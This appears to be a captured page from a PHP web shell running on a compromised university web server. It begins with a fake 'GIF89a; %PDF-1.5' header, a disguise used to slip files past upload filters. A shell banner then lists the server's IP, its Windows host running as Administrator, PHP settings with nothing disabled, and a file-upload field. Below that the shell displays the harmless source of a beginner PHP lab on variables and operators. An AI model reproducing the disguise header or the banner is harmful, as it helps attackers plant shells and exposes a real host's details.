GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/JimMartinson/CST1146/Labs/Lab04/ |
Upload File : |
<? // JimMartinson/CST1146/Labs/Lab03/Lab03.phpinc #if ( $_SESSION['userId'] == 1 ) $showEvaluationVariables = true; require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced. #if ( $_SESSION['userId'] != 1 ) { require('Gradebook/EvaluationSubmission_END.phpinc'); exit; } include('common/Browser/Browser.phpinc'); $disabled = ''; $disabled = ' disabled'; // Comment this line to enable lab. // NOTE: Disable Include conf/extra/httpd-autoindex.conf line in the httpd.conf file before labs. // OR: Fix labs so Lab 4 mod_autoindex works as it should. ?> <fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Description</legend> The purpose of this lab is to demonstrate the use of php variables, data types, constants, and operators/operations. <?=$gradeNote?> <? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> </fieldset> <fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Instruction</legend> <ol class="count"> <!-- 1 --> <li>Create a directory called <b class="copyText"><?=$evaluationName?></b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?></b> directory. We will use it for all work performed in this lab.</li> <!-- 2 --> <li>Create a PHP file called <b class="copyText"><?=$saveFilename?>.php</b> in the <b><?=$evaluationName?></b> directory and open it in an editor. <br>All code below will be written into this file. <br>Create a stub file with the <span class="php">$labNumber</span>, <span class="php">$myName</span>, <span class="html">!DOCTYPE</span>, <span class="html">html</span>, <span class="html">head</span>, <span class="html">title</span>, <span class="html">meta charset</span>, and <span class="html">body</span>, and <span class="html">h1</span> variables, elements, and tags. <span class="note"><a href="#notes">See notes</a>.</span> </li> <!-- 3 --> <li>Demonstrate the use of string variables: <ol> <li>Add an <span class="html">h2</span> heading with the content: <span class="html copyText">String variables</span>.</li> <li>Create a php variable and give it a string value.</li> <li>Create another php variable and give it a string value.</li> <li>Display the name and value of each variable.</li> <li>Display the first variable concatenated with the second variable.</li> </ol> <span class="note">Add text to describe what is being displayed and on separate lines. Display all values using the php var_dump() function.</span> </li> <li>Demonstrate the use of integer variables: <ol> <li>Add an <span class="html">h2</span> heading with the content: <span class="html copyText">Integer variables</span>.</li> <li>Create a php variable and give it a non-zero integer value.</li> <li>Create another php variable and give it a non-zero integer value.</li> <li>Display the name and value of each variable.</li> <li>Display the first variable added to the second variable.</li> <li>Display the first variable multiplied by the second variable.</li> </ol> <span class="note">Add text to describe what is being displayed and on separate lines. Display all values using the php var_dump() function.</span> </li> <!-- 4 --> <li>Demonstrate the use of floating variables: <ol> <li>Add an <span class="html">h2</span> heading with the content: <span class="html copyText">Floating variables</span>.</li> <li>Create a php variable and give it a non-zero float value.</li> <li>Create another php variable and give it a non-zero float value.</li> <li>Display the name and value of each variable.</li> <li>Display the first variable added to the second variable.</li> <li>Display the first variable multiplied by the second variable.</li> </ol> <span class="note">Add text to describe what is being displayed and on separate lines. Display all values using the php var_dump() function.</span> </li> <!-- 5 --> <li>Demonstrate the use of string, integer, and floating operations: <ol> <li>Add an <span class="html">h2</span> heading with the content: <span class="html copyText">Mixed variables</span>.</li> <li>Display the first string variable concatenated to the first integer variable from above.</li> <li>Display the first integer variable added to the first floating variable from above.</li> <li>Display the first integer variable added to the first floating variable from above but with the float cast as an integer.</li> </ol> <span class="note">Add text to describe what is being displayed and on separate lines. Display all values using the php var_dump() function.</span> </li> <!-- 6 --> <li>Demonstrate the use of assignment: <ol> <li>Add an <span class="html">h2</span> heading with the content: <span class="html copyText">Assignment</span>.</li> <li>Set the first integer variable equal to the second integer variable from above.</li> <li>Display the value of the first integer variable.</li> <li>Set the first integer variable plus equal (+=) to itself.</li> <li>Display the value of the first integer variable.</li> <li>Increment the first integer variable using the increment operator (++).</li> <li>Display the value of the first integer variable.</li> </ol> <span class="note">Add text to describe what is being displayed and on separate lines. Display all values using the php var_dump() function.</span> </li> <!-- 7 --> <li>Demonstrate the use of Comparison: <ol> <li>Add an <span class="html">h2</span> heading with the content: <span class="html copyText">Comparison</span>.</li> <li>Display the name and value of the first integer variable.</li> <li>Display the name and value of the second integer variable.</li> <li>Display if the first integer variable is greater than the second integer variable using the <span class="php">var_dump()</span> function.</li> <li>Set the second integer variable equal to the first integer variable but cast it as a float.</li> <li>Display the name and value of the second integer variable.</li> <li>Display if the first integer variable is equal (==) to the second integer variable using the <span class="php">var_dump()</span> function.</li> <li>Display if the first integer variable is identical (===) to the second integer variable using the <span class="php">var_dump()</span> function.</li> </ol> <span class="note">Add text to describe what is being displayed and on separate lines. Display all values using the php var_dump() function.</span> </li> <!-- 8 --> <li>Demonstrate the use of php constants: <ol> <li>Add an <span class="html">h2</span> heading with the content: <span class="html copyText">Constants</span>.</li> <li>Create a php constant and give it a numerical value.</li> <li>Display the name and value of the constant.</li> <li>Display the first integer variable added to your constant.</li> </ol> <span class="note">Add text to describe what is being displayed and on separate lines. Display all values using the php var_dump() function.</span> </li> <!-- 9 --> <li>Verify that your page works. <ol type="i"> <li>Start Apache if it is not running.</li> <li>Open up a browser.</li> <li>In the address bar enter <b class="copyText">http://localhost/CST1146/<?=$evaluationName?>/</b> and hit enter.</li> <li>Click on your <b><?=$saveFilename?>.php</b> file. <br>You should see a page like:<br> <? BrowserBegin('Lab '.$evaluationNumber.' - '.$userFullName,'http://localhost/CST1146/'.$saveFilename.'.php',820); ?> <h1 class="left">Lab <?=$evaluationNumber?> - <?=$userFullName?></h1> <h2>String variables</h2> <?php $strOne = "My name:"; $strTwo = "Jim"; echo '$strOne = ',var_dump($strOne); echo "<br>\n"; echo '$strTwo = ',var_dump($strTwo); echo "<br>\n"; echo '$strOne concatenated with $strTwo = ',var_dump($strOne.$strTwo); ?> <h2>Integer variables</h2> <?php $intOne = 2; $intTwo = 4; echo '$intOne = ',var_dump($intOne); echo "<br>\n"; echo '$intTwo = ',var_dump($intTwo); echo "<br>\n"; echo '$intOne added to $intTwo = ',var_dump($intOne+$intTwo); echo "<br>\n"; echo '$intOne multiplied by $intTwo = ',var_dump($intOne*$intTwo); ?> <h2>Floating variables</h2> <?php $floatOne = 1.5; $floatTwo = 2.25; echo '$floatOne = ',var_dump($floatOne); echo "<br>\n"; echo '$floatTwo = ',var_dump($floatTwo); echo "<br>\n"; echo '$floatOne added to $floatTwo = ',var_dump($floatOne+$floatTwo); echo "<br>\n"; echo '$floatOne multiplied by $floatTwo = ',var_dump($floatOne*$floatTwo); ?> <h2>Mixed variables</h2> <?php echo '$strOne concatenated to $intOne = ',var_dump($strOne.$intOne); echo "<br>\n"; echo '$intOne added to $floatOne = ',var_dump($intOne+$floatOne); echo "<br>\n"; echo '$intOne added to $floatOne cast to an int = ',var_dump($intOne+(int)$floatOne); ?> <h2>Assignment</h2> <?php $intOne = $intTwo; echo '$intOne = ',var_dump($intOne); echo "<br>\n"; $intOne += $intOne; echo '$intOne = ',var_dump($intOne); echo "<br>\n"; $intOne++; echo '$intOne = ',var_dump($intOne); ?> <h2>Comparison</h2> <?php echo '$intOne = ',var_dump($intOne); echo "<br>\n"; echo '$intTwo = ',var_dump($intTwo); echo "<br>\n"; echo '$intOne > $intTwo = ',var_dump($intOne > $intTwo); echo "<br>\n"; $intTwo = (float)$intOne; echo '$intTwo = ',var_dump($intTwo); echo "<br>\n"; echo '$intOne == $intTwo = ',var_dump($intOne == $intTwo); echo "<br>\n"; echo '$intOne === $intTwo = ',var_dump($intOne === $intTwo); echo "<br>\n"; ?> <h2>Constants</h2> <?php define("MY_CONSTANT",10); echo 'MY_CONSTANT = ',var_dump(MY_CONSTANT); echo "<br>\n"; echo '$intOne added to MY_CONSTANT = ',var_dump($intOne+MY_CONSTANT); ?> <? BrowserEnd(); ?> If this is not what you see then you have errors in your code. </li> <li><b class="info">Take a screenshot of the page</b> and save the image as <b class="copyText"><?=$saveFilename?>.png</b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory. <br>Make sure that the address bar is visible in your browser before saving the image. </li> </ol> </li> <!-- 10 --> <li>Turn in your assignment: <ol> <li>Ensure the following files are in your <b><?=$evaluationName?></b> folder. <br><?=$saveFilename?>.php <br><?=$saveFilename?>.png </li> <li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b class="copyText"><?=$uploadFilename?></b>.</li> <li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li> <li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li> </ol> </li> </ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> </fieldset> <? require('../LabNotes.phpinc'); require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced. ?>